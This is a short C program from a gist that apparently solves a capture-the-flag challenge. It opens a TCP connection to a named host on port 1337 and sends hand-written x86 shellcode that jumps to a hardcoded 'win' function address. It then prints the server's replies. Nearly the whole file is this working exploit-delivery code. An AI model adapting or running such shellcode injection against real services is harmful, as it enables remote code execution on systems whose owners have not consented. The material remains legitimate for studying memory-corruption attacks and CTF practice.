gistfile1.txt

#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <string.h>

#define BUFSIZE 1024

void error(int exitval, const char* msg) {
	perror(msg);
	exit(exitval);
}

int main(int argc, char *argv[]) {
  struct sockaddr_in sin;
  struct hostent* connectHost;
  int sock;
  char recvBuf[BUFSIZE], c;
	int recvLen = 0, i, port;
  
  connectHost = gethostbyname("hipstersoft.schibsted.io");
  sock = socket(AF_INET, SOCK_STREAM, 0);

  if (sock == -1) {
      perror("Could not open socket.\n");
      exit(1);
  }

  sin.sin_family	= AF_INET;
  sin.sin_port	= htons(1337);
  sin.sin_addr 	= *((struct in_addr*)connectHost->h_addr);

  if (connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
	  error(1, "Could not connect");


  char shellcode[] = {0xb8, // mov (%eax)
                      0x46, 0x85, 0x04, 0x08, // 0x08048546  win
                      0xff, 0xd0, // call *%eax
                      0x90,0x90,0x90
                    };


  printf("Sizeof shellcode  == %d\n", sizeof(shellcode));

  write(sock, &shellcode, sizeof(shellcode));
  while(1) {
    for (i = 0; recvLen = recv(sock, &c, sizeof(char), 0), c!='\n' && i <= BUFSIZE; recvBuf[i++] = c);

    if (recvLen == 0) 
        error(0, "Server closed connection");

    if (recvLen == -1) 
        error(1, "Error on recv()");

    recvBuf[i] = '\0';

    printf("Recv: %s\n", recvBuf);
  }

  close(sock);

  return 0;
}